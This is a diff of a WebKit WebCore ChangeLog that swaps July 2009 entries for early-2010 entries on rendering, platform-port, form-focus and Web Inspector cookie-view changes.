-        Moves some accessibility code that was in the Mac file to a more common place so 
-        it can be used by other platforms. 
-        This includes:
-           Making TextMarkerData from a VisiblePosition.
-           Making a VisiblePosition from TextMarkerData.
-           Finding the anchor accessibility object for an arbitrary Node.
+        Added an ASSERT to catch an implausible but theoretically possible leak.
+        
+        In theory, if malloc allocated a UChar buffer directly after a StringImpl,
+        the StringImpl might incorrecly assume that the UChar buffer was inline,
+        and fail to delete it.
+        
+        This ASSERT is somewhat academic, since we don't use the same allocator
+        in debug builds, but oh well.
 
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::visiblePositionForTextMarkerData):
-        (WebCore::AXObjectCache::textMarkerDataForVisiblePosition):
-        * accessibility/AXObjectCache.h:
-        * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::anchorElementForNode):
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::visiblePositionForIndex):
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (textMarkerForVisiblePosition):
-        (visiblePositionForTextMarker):
-        (AXAttributedStringAppendText):
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::createUninitialized):
+        * platform/text/StringImpl.h: Separated the inline buffer StringImpl
+        constructor from the out-of-line buffer StringImpl constructor. Made
+        the former ASSERT that its buffer was indeed inline, and the latter ASSERT
+        that its buffer was indeed not inline.
 
-2009-07-29  Dan Bernstein  <mitz@apple.com>
+2010-02-05  Chris Marrin  <cmarrin@apple.com>
 
         Reviewed by Simon Fraser.
 
-        Inset box shadows are incorrectly accounted for in visual overflow
-        computations
-        https://bugs.webkit.org/show_bug.cgi?id=27811
-
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::placeBoxesHorizontally): Use
-            getBoxShadowHorizontalExtent().
-        (WebCore::InlineFlowBox::placeBoxesVertically): Use
-            getBoxShadowVerticalExtent(). Removed duplicate code to get the
-            text-shadow overflow.
-        (WebCore::InlineFlowBox::paint): Use getBoxShadowHorizontalExtent().
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::overflowHeight): Use
-            getBoxShadowVerticalExtent().
-        (WebCore::RenderBlock::overflowWidth): Use
-            getBoxShadowHorizontalExtent().
-        (WebCore::RenderBlock::overflowLeft): Ditto.
-        (WebCore::RenderBlock::overflowTop): Use getBoxShadowVerticalExtent().
-        (WebCore::RenderBlock::overflowRect): Use getBoxShadowExtent().
-        (WebCore::RenderBlock::layoutBlock): Ditto.
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::RenderFlexibleBox::layoutBlock): Ditto.
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::calculateRects): Exclude inset shadows.
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::repaintAfterLayoutIfNeeded): Use
-            getBoxShadowHorizontalExtent() and getBoxShadowVerticalExtent().
-        (WebCore::RenderObject::adjustRectForOutlineAndShadow): Exclude inset
-            shadows.
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::adjustOverflowForBoxShadowAndReflect): Ditto.
-        * rendering/style/RenderStyle.cpp:
-        (WebCore::RenderStyle::setTextShadow): Also assert that text-shadows are
-            not inset.
-        (WebCore::RenderStyle::getBoxShadowExtent): Added. Excludes inset
-            shadows.
-        (WebCore::RenderStyle::getBoxShadowHorizontalExtent): Ditto.
-        (WebCore::RenderStyle::getBoxShadowVerticalExtent): Ditto.
-        * rendering/style/RenderStyle.h:
-
-2009-07-29  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Fix crash when an element with display: table-row is composited (e.g. via a 3d-transform)
-        https://bugs.webkit.org/show_bug.cgi?id=27796
+        Fixed changed virtual function in GraphicsLayerCACF and call order issues
+        https://bugs.webkit.org/show_bug.cgi?id=34348
         
-        Avoid repainting when a layer becomes composited if the renderer is not parented
-        yet, because it makes no sense to do so.
+        The correct virtual function in GraphicsLayerCACF is now being
+        called. We also fixed an issue in QTMovieWin where the size
+        of the movie was not being set correctly because the call order
+        was changed.
         
-        If the table row is a repaint container, default to the RenderBox implementation
-        of clippedOverflowRectForRepaint(), because we cannot hand off the repaint rect
-        computation to something that is above the repaint container.
-
-        Test: fast/table/table-row-compositing-repaint-crash.html
-
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::repaintOnCompositingChange):
-        * rendering/RenderTableRow.cpp:
-        (WebCore::RenderTableRow::clippedOverflowRectForRepaint):
-
-2009-07-29  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27791
-        307 redirects of POSTs should use POST, not GET
-
-        Test: http/tests/loading/redirect-methods.html
-
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::willSendRequest):
+        I also changed the order of a couple of calls in QTMovieWin to account
+        for changed calling order from the logic above.
 
-        * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]):
+        * platform/graphics/win/GraphicsLayerCACF.cpp:Update to new virtual function API
+        (WebCore::GraphicsLayerCACF::setContentsToMedia):
+        (WebCore::GraphicsLayerCACF::updateContentsMedia):
+        * platform/graphics/win/GraphicsLayerCACF.h:Update to new virtual function API
+        (WebCore::GraphicsLayerCACF::):
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWinPrivate::cacheMovieScale):Fix a bug where ratio was computed wrong because it was using integer math
+        (QTMovieWinPrivate::task):Compute movie scale before computing movie size so values are correct
+        (QTMovieWinPrivate::setSize):Move movie size update to updateMovieSize()
+        (QTMovieWinPrivate::updateMovieSize):Wrap size update in a new call so it can be used from multiple places
 
-2009-07-29  Chris Marrin  <cmarrin@apple.com>
+2010-02-05  Enrica Casucci  <enrica@apple.com>
 
         Reviewed by Simon Fraser.
 
-        Adding -webkit-animation-play-state back in
-        https://bugs.webkit.org/show_bug.cgi?id=26867
-
-        We've decided to keep -webkit-animation-play-state. So this
-        just adds back in the code from https://bugs.webkit.org/show_bug.cgi?id=22907.
-
-        Test: animations/play-state.html
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        (WebCore::CSSParser::parseAnimationPlayState):
-        (WebCore::CSSParser::parseAnimationProperty):
-        * css/CSSParser.h:
-        * css/CSSPropertyNames.in:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        (WebCore::CSSStyleSelector::mapAnimationPlayState):
-        * css/CSSStyleSelector.h:
-        * platform/animation/Animation.h:
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
-
-2009-07-29  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        Expose the default plugin directories and the current directory set of
-        the plugin database as public API.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27651
-
-        * plugins/PluginDatabase.h:
-        (WebCore::PluginDatabase::pluginDirectories):
-
-2009-07-29  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by David Levin.
-
-        [chromium] Font size for current time display in media controls panel
-        is affected by body font size.
-        https://bugs.webkit.org/show_bug.cgi?id=27799
-
-        Fixing the problem of rendering by explicitly setting the font size
-        for the time displays.
-
-        No new tests since this is covered by existing media tests.
-
-        * css/mediaControlsChromium.css:
-
-2009-07-29  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by David Levin.
-
-        Update WebCore/page/ContextMenuController.cpp to conform to WebKit
-        Style Guidelines as identified by cpp_style.py.
-        https://bugs.webkit.org/show_bug.cgi?id=27613
-
-        * page/ContextMenuController.cpp:
-        (WebCore::openNewWindow):
-        (WebCore::ContextMenuController::contextMenuItemSelected):
-
-2009-07-29  Dean McNamee  <deanm@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Removed unused wrapCPointer/extractCPointer from the v8 bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=27805
-
-        * bindings/v8/V8DOMWrapper.h:
-
-2009-07-29  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        Expose the PluginDatabase::pluginForMIMEType() function as public API.
-        https://bugs.webkit.org/show_bug.cgi?id=27651
-
-        It can be used to determine the appropriate plugin for a mime type,
-        without guessing the mimetype from the extension.
-
-        * plugins/PluginDatabase.h:
-
-2009-07-29  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Adam Treat.
-
-        Allow to enable/disable particular plugin packages.
-        https://bugs.webkit.org/show_bug.cgi?id=27651
-
-        Disabled plugins will not be picked up when looking for a plugin
-        supporting the requested mimetypes.
-
-        Client applications may want to use that API to disable specific
-        plugins.
-
-        * plugins/PluginDatabase.cpp:
-        (WebCore::PluginDatabase::pluginForMIMEType):
-        (WebCore::PluginDatabase::MIMETypeForExtension):
-        * plugins/PluginPackage.cpp:
-        (WebCore::PluginPackage::PluginPackage):
-        (WebCore::PluginPackage::setEnabled):
-        * plugins/PluginPackage.h:
-        (WebCore::PluginPackage::isEnabled):
-
-2009-07-29  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        [WML] Running WML tests in random order multiple times exposes subtle bugs
-        https://bugs.webkit.org/show_bug.cgi?id=27801
-
-        Remove superflous assertions regarding the parent node. Under certain circumstances
-        these can even fire (related to garbage collection while destructing). Fixes random order
-        WML tests (run-webkit-tests fast/wml wml http/tests/wml fast/wml ... --random)
-
-        The wml/enter-first-card-with-events.html test relied on a bug in our implementation of
-        WMLPageState::reset() - the history stack should still contain the current card afterwards.
-        Fix that bug by preserving the first item in BackForwardList::clearWMLPageHistory().
-
-        * history/BackForwardList.cpp: Preserve first item in history stack, as demanded by the spec.
-        (WebCore::BackForwardList::clearWMLPageHistory):
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::insertedIntoDocument):
-        (WebCore::WMLDoElement::removedFromDocument):
-        * wml/WMLNoopElement.cpp:
-        (WebCore::WMLNoopElement::insertedIntoDocument):
-        * wml/WMLOnEventElement.cpp:
-        (WebCore::eventHandlingParent):
-        * wml/WMLPostfieldElement.cpp:
-        (WebCore::WMLPostfieldElement::insertedIntoDocument):
-        (WebCore::WMLPostfieldElement::removedFromDocument):
-        * wml/WMLSetvarElement.cpp:
-        (WebCore::WMLSetvarElement::insertedIntoDocument):
-        (WebCore::WMLSetvarElement::removedFromDocument):
-        * wml/WMLTaskElement.cpp:
-        (WebCore::WMLTaskElement::insertedIntoDocument):
-        (WebCore::WMLTaskElement::removedFromDocument):
-        * wml/WMLTimerElement.cpp:
-        (WebCore::WMLTimerElement::insertedIntoDocument):
-        (WebCore::WMLTimerElement::removedFromDocument):
-
-2009-07-29  Yongjun Zhang  <yongjun.zhang@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26848
-        [Qt] ResourceHandle::willLoadFromCache needs to be implemented QtWebKit.
+        Horizontal scrollbar works in reverse at milliondollarcu.be
+        <rdar://problem/7556121>
+        https://bugs.webkit.org/show_bug.cgi?id=33848
+        
+        Added a manual test.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadItem):
-        * platform/network/ResourceHandle.h:
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::ResourceHandle::willLoadFromCache):
-        * platform/network/curl/ResourceHandleCurl.cpp:
-        (WebCore::ResourceHandle::willLoadFromCache):
-        * platform/network/mac/ResourceHandleMac.mm:
-        (WebCore::ResourceHandle::willLoadFromCache):
-        * platform/network/qt/ResourceHandleQt.cpp:
-        (WebCore::ResourceHandle::willLoadFromCache):
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::):
+        * manual-tests/win: Added.
+        * manual-tests/win/horizontal-scroll-composited.html: Added.
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::setScrollFrame):
+        (WebCore::WKCACFLayerRenderer::setRootChildLayer):
 
-2009-07-29  Alpha Lam  <hclam@chromium.org>
+2010-02-05  Ryan Leavengood  <leavengood@gmail.com>
 
         Reviewed by David Levin.
 
-        Media control panel for <video> in MediaDocument is mis-placed
-        https://bugs.webkit.org/show_bug.cgi?id=27798
-
-        Fixing a rendering problem: When <video> is displayed in MediaDocument,
-        the media control panel overlaps with the video by 16 pixels.
-
-        No new tests as this is covered by existing media tests.
-
-        * css/mediaControlsChromium.css:
-
-2009-07-29  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed build fix for Chromium.  Those last two patches weren't
-        independent despite the clean merge.
-
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
-
-2009-07-29  Avi Drissman  <avi@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        ImageSourceCG makes bad data refs (race condition causes blank images)
-        https://bugs.webkit.org/show_bug.cgi?id=27777
-
-        Make ImageSourceCG guarantee that the lifetime of the SharedBuffer that
-        backs the CFDataRef will be long enough.
-
-        No new tests, as this fixes a bug with a race condition that is
-        difficult to trigger.
-
-        * platform/graphics/cg/ImageSourceCG.cpp:
-        (WebCore::ImageSource::setData):
-
-2009-07-29  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Console should show completions for the command line APIs
-        https://bugs.webkit.org/show_bug.cgi?id=27696
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype._reportCompletions): Adds properties from _inspectorCommandLineAPI to 
-        completions when available.
-        * inspector/front-end/utilities.js:
-        (Object.properties): Added.
-        (Object.sortedProperties):
-
-2009-07-29  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Refactor the first step of layout in RenderFlexibleBox.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=27704
-
-        No new tests as this change is just a refactoring.
+        Implementation of GlyphPage::fill() for Haiku port.
+        https://bugs.webkit.org/show_bug.cgi?id=34527
 
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::gatherFlexChildrenInfo):
-        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
-        (WebCore::RenderFlexibleBox::layoutVerticalBox):
-
-2009-07-29  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Nikolas Zimmermann.
+        Covered by existing tests.
 
-        Fix a bug that HTMLOptionElement::value() returns an incorrect
-        value in a case that the element has a label attribute and no
-        value attribute.
-        https://bugs.webkit.org/show_bug.cgi?id=27760
+        * platform/graphics/haiku/GlyphPageTreeNodeHaiku.cpp
 
-        Test: fast/forms/option-value-and-label.html
+2010-01-19  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        * dom/OptionElement.cpp:
-        (WebCore::OptionElement::collectOptionLabelOrText):
-        (WebCore::OptionElement::collectOptionInnerText):
-        (WebCore::OptionElement::normalizeText):
-        (WebCore::OptionElement::collectOptionTextRespectingGroupLabel):
-        (WebCore::OptionElement::collectOptionValue):
-        * dom/OptionElement.h:
-        * html/HTMLOptionElement.cpp:
-        (WebCore::HTMLOptionElement::text):
-        * wml/WMLOptionElement.cpp:
-        (WebCore::WMLOptionElement::text):
-
-2009-07-29  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Dave Hyatt.
 
-        [V8] Fix isolated world wrappers for event handlers
-        https://bugs.webkit.org/show_bug.cgi?id=27533
+        Implement flattening of framesets
+        https://bugs.webkit.org/show_bug.cgi?id=32717
 
-        Instead of getting the context from the frame, we cache the context
-        when the listener is created so that we get the context for the right
-        world.
+        The following patch, builds ontop of Antti Koivisto's frameset
+        flattening code from the iPhone source, which itself is based on
+        the old Nokia Series 60 source.
 
-        Test: http/tests/security/isolatedWorld/click-event.html
+        Layout tests have been added to test the functionality and the original
+        code which has then been fixed to make these pass, as well as support
+        frameset grids.
 
-        * WebCore.gypi:
-        * bindings/v8/OwnHandle.h: Added.
-        (WebCore::OwnHandle::OwnHandle):
-        (WebCore::OwnHandle::~OwnHandle):
-        (WebCore::OwnHandle::get):
-        (WebCore::OwnHandle::set):
-        (WebCore::OwnHandle::release):
-        (WebCore::OwnHandle::adopt):
-        (WebCore::OwnHandle::swap):
-        (WebCore::OwnHandle::clear):
-        (WebCore::OwnHandle::makeWeak):
-        (WebCore::OwnHandle::weakCallback):
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
-        (WebCore::V8AbstractEventListener::handleEvent):
-        * bindings/v8/V8AbstractEventListener.h:
-        * bindings/v8/V8DOMWrapper.h:
+        Tests: fast/frames/flattening/frameset-flattening-advanced.html
+               fast/frames/flattening/frameset-flattening-grid.html
+               fast/frames/flattening/frameset-flattening-simple.html
+               fast/frames/flattening/frameset-flattening-subframe-resize.html
+               fast/frames/flattening/frameset-flattening-subframesets.html
 
-2009-07-29  Adam Barth  <abarth@webkit.org>
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        (WebCore::FrameView::scheduleRelayout):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setFrameSetFlatteningEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::frameSetFlatteningEnabled):
+        * rendering/RenderFrame.cpp:
+        (WebCore::RenderFrame::layoutWithFlattening):
+        * rendering/RenderFrame.h:
+        * rendering/RenderFrameSet.cpp:
+        (WebCore::RenderFrameSet::layout):
+        (WebCore::RenderFrameSet::positionFramesWithFlattening):
+        (WebCore::RenderFrameSet::flattenFrameSet):
+        (WebCore::RenderFrameSet::userResize):
+        * rendering/RenderFrameSet.h:
 
-        Reviewed by Dimitri Glazkov.
+2010-02-05  Simon Fraser  <simon.fraser@apple.com>
 
-        [V8] Teach V8Proxy::context about isolated worlds
-        https://bugs.webkit.org/show_bug.cgi?id=27701
+        Reviewed by Dan Bernstein.
 
-        Change V8Proxy::context(Frame*) to understand isolated worlds.  Audit
-        all callers of this method to make sure they want isolated worlds.  In
-        cases where we really want the main world, I've changed the call to
-        V8Proxy::mainWorldContext(Frame*).
+        Changing display type of parent of input on focus causes input field to not receive key events
+        https://bugs.webkit.org/show_bug.cgi?id=34620
+        <rdar://problem/7584572>
         
-        The main visible change is to the document.open method when called with
-        more than two arguments.  This design seems more likely to lead to
-        future correct code.
-
-        Test: http/tests/security/isolatedWorld/document-open.html
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::processingUserGesture):
-        (WebCore::ScriptController::evaluate):
-        (WebCore::ScriptController::bindToWindowObject):
-        (WebCore::ScriptController::collectGarbage):
-        (WebCore::createScriptObject):
-        (WebCore::ScriptController::createScriptObjectForPluginElement):
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::handleEvent):
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getConstructor):
-        (WebCore::V8DOMWrapper::setHiddenWindowReference):
-        (WebCore::V8DOMWrapper::convertNodeToV8Object):
-        (WebCore::V8DOMWrapper::convertWindowToV8Object):
-        * bindings/v8/V8Helpers.cpp:
-        (WebCore::toV8Context):
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::getListenerFunction):
-        (WebCore::V8LazyEventListener::getWrappedListenerFunction):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::context):
-        (WebCore::V8Proxy::mainWorldContext):
-        (WebCore::V8Proxy::bindJsObjectToWindow):
-        * bindings/v8/V8Proxy.h:
-
-2009-07-29  Balazs Kelemen  <kelemen.balazs.3@stud.u-szeged.hu>
-
-        Reviewed by Simon Hausmann.
-
-        Fix the Qt build, add missing file.
-
-        * WebCore.pro:
-
-2009-07-28  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Speculative fix for <rdar://problem/7005077> WER: Crash in
-        WebCore::PluginStream::destroyStream+279 (1310510882)
-
-        Reviewed by Oliver Hunt.
-
-        * plugins/PluginStream.cpp:
-        (WebCore::PluginStream::destroyStream):
-        Move the "protector" RefPtr out of the block that dispatches
-        notifications and into the function level; if NPN_DestroyStream were
-        called from NPP_NewStream as the comment warns, we would be deleted at
-        the end of the block.
+        When layout affects a text input, the RenderTextControl gets destroyed and
+        recreated, which in turn makes a new innerTextElement. However, if the text field was
+        focused, the VisibleSelection is left pointing to the old innerTextElement, so text
+        input no longer works.
+        
+        The fix is to call updateFocusAppearanceSoon() when attaching the input element,
+        which will update the selection if necessary.
 
-2009-07-28  Joseph Pecoraro  <joepeck02@gmail.com>
+        Test: fast/forms/restore-selection-after-layout.html
 
-        Inspector: Tab Through the DOM Storage DataGrid when Editing
+        * dom/Document.h: Add a paramter to updateFocusAppearanceSoon() and a member variable,
+        m_updateFocusAppearanceRestoresSelection, to store its value until the timer fires.
+        * dom/Document.cpp:
+        (WebCore::Document::Document): Initialize m_updateFocusAppearanceRestoresSelection
+        (WebCore::Document::updateFocusAppearanceSoon): New restorePreviousSelection parameter.
+        (WebCore::Document::updateFocusAppearanceTimerFired): Pass m_updateFocusAppearanceRestoresSelection down.
+        * dom/Element.cpp:
+        (WebCore::Element::attach): Call updateFocusAppearanceSoon() with false.
+        * dom/Element.h: The updateFocusAppearanceSoonAfterAttach() was undefined.
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::attach): Call document()->updateFocusAppearanceSoon() with true.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27746
+2010-02-05  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        * inspector/front-end/DOMStorageDataGrid.js:
-        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode): refactored to directly edit and select a column
-        (WebInspector.DOMStorageDataGrid.prototype._startEditing):
-        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted.moveToNextIfNeeded): handles moveDirection on a commit
-        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted): uses moveToNext to traverse appropriately
-
-2009-07-28  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Inspector: Create New DOM Storage Items via DataGrid
+        Web Inspector: simplify cookies view, introduce DataGrid::autoSizeColumns.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27322
+        https://bugs.webkit.org/show_bug.cgi?id=34646
 
-        Reviewed by Timothy Hatcher.
-
-        * inspector/front-end/DOMStorageDataGrid.js:
-        (WebInspector.DOMStorageDataGrid.prototype._startEditing): click anyway means creationNode
-        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted): fix unintended globals
-        (WebInspector.DOMStorageDataGrid.prototype.deleteSelectedRow): creationNode is special case
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.show):
+        (WebInspector.CookieItemsView.prototype._update):
+        (WebInspector.CookieItemsView.prototype._updateWithCookies):
+        (WebInspector.CookieItemsView.prototype._filterCookiesForDomain):
+        (WebInspector.CookieItemsView.prototype._createDataGrid):
+        (WebInspector.CookieItemsView.prototype._populateDataGrid.expiresCompare):
+        (WebInspector.CookieItemsView.prototype._populateDataGrid):
+        (WebInspector.CookieItemsView.prototype._createSimpleDataGrid):
+        (WebInspector.CookieItemsView.prototype._populateSimpleDataGrid):
+        (WebInspector.CookieItemsView.prototype._deleteCookieCallback):
+        (WebInspector.CookieItemsView.prototype._refreshButtonClicked):
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView.prototype._showDOMStorageEntries):
+        (WebInspector.DOMStorageItemsView.prototype._dataGridForDOMStorageEntries):
         * inspector/front-end/DataGrid.js:
-        (WebInspector.DataGrid.prototype.addCreationNode): maintain a quick ref to the single creationNode
-        (WebInspector.CreationDataGridNode): new type of node
-        (WebInspector.CreationDataGridNode.prototype.makeNormal): convert to a normal node
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.dataGridForDOMStorage): add a creationNode to the GridData
-
-2009-07-28  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Inspector: Automatically Refresh DOM Storage Grids on "storage" event
-
-        https://bugs.webkit.org/show_bug.cgi?id=27400
-
-        Reviewed by Timothy Hatcher.
-
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.show): trigger adding the listener
-        (WebInspector.DatabasesPanel.prototype.reset): trigger removing the listener
-        (WebInspector.DatabasesPanel.prototype._registerStorageEventListener): register the listener on the inspected window
-        (WebInspector.DatabasesPanel.prototype._unregisterStorageEventListener): unregister the listener on the inspected window
-        (WebInspector.DatabasesPanel.prototype._storageEvent): handle the storage event
-
-2009-07-28  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Inspector should support inspect() in the command line.
-
-        https://bugs.webkit.org/show_bug.cgi?id=19874
-        rdar://problem/6070225
-
-        Reviewed by Timothy Hatcher.
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled.inspectObject):
-        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled):
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.revealAndSelectDomStorage): Added.
-        (WebInspector.DatabasesPanel.prototype.revealAndSelectDatabase): Added.
-        (WebInspector.DatabasesPanel.prototype.showDatabase): 
-
-2009-07-28  Keishi Hattori  <casey.hattori@gmail.com>
-
-        The rest of: Web Inspector: Add inspected node using public console API.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27758
-
-        Reviewed by Timothy Hatcher.
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled): Removed _inspectorCommandLineAPI._addInspectedNode.
-        (WebInspector.Console.prototype.addInspectedNode): Added.
+        (WebInspector.DataGrid):
+        (WebInspector.DataGrid.prototype.autoSizeColumns):
+        * inspector/front-end/DatabaseQueryView.js:
+        (WebInspector.DatabaseQueryView.prototype._queryFinished):
+        * inspector/front-end/DatabaseTableView.js:
+        (WebInspector.DatabaseTableView.prototype._queryFinished):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.dataGridForResult):
 
-2009-07-28  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-04  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Accept autocomplete on 'End' key pressed.
+        Web Inspector: group cookies by frame, show total
+        cookies size, allow sorting cookie table.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27447.
+        https://bugs.webkit.org/show_bug.cgi?id=34617
 
-        * inspector/front-end/TextPrompt.js:
-        (WebInspector.TextPrompt.prototype.handleKeyEvent):
+        * English.lproj/localizedStrings.js:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::deleteCookie):
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype._updateWithCookies):
+        (WebInspector.CookieItemsView.prototype._cookiesForDomain):
+        (WebInspector.CookieItemsView.prototype.dataGridForCookies):
+        (WebInspector.CookieItemsView.prototype._createNodes):
+        (WebInspector.CookieItemsView.prototype._sortData.localeCompare):
+        (WebInspector.CookieItemsView.prototype._sortData.numberCompare):
+        (WebInspector.CookieItemsView.prototype._sortData.expiresCompare):
+        (WebInspector.CookieItemsView.prototype._sortData):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.showCookies):
+        (WebInspector.CookieSidebarTreeElement):
+        (WebInspector.CookieSidebarTreeElement.prototype.onselect):
+        (WebInspector.CookieSidebarTreeElement.prototype.get subtitle):
+        (WebInspector.CookieSidebarTreeElement.prototype.set subtitle):
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateResource):
 
-2009-07-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-02-05  Maxime Simone  <simon.maxime@gmail.com>
 
         Reviewed by David Levin.
 
-        [Qt] Build fix after r46502
-        https://bugs.webkit.org/show_bug.cgi?id=27789
-
-        * WebCore.pro: Remove StorageArea.cpp
-
-2009-07-28  Mark Rowe  <mrowe@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Follow-on fix to r35582.  Replace main thread assertions with WebCoreObjCScheduleDeallocateOnMainThread
-        in -dealloc overrides in DOMObject subclasses.
-
-        * bindings/scripts/CodeGeneratorObjC.pm:
+        More robust conversion from BString to String for Haiku port.
+        https://bugs.webkit.org/show_bug.cgi?id=34527
 
-2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        [WML] WML*Element classes mostly implement insertedIntoDocument(), not removedFromDocument()
-        https://bugs.webkit.org/show_bug.cgi?id=27786
-
-        WML*Element classes mostly implement insertedIntoDocument(), not removedFromDocument().
-        The only case where this is relevant in WML is error handling. The parsed WML
-        tree fragment is inserted in an XHTML compound error document. This requires
-        removedFromDocument() to be correctly implemented otherwhise we run into
-        trouble (visible when using run-webkit-tests fast/wml --random).
-
-        * wml/WMLAnchorElement.cpp:
-        (WebCore::WMLAnchorElement::registerTask):
-        (WebCore::WMLAnchorElement::deregisterTask):
-        * wml/WMLAnchorElement.h:
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::removedFromDocument):
-        (WebCore::WMLDoElement::registerTask):
-        (WebCore::WMLDoElement::deregisterTask):
-        * wml/WMLDoElement.h:
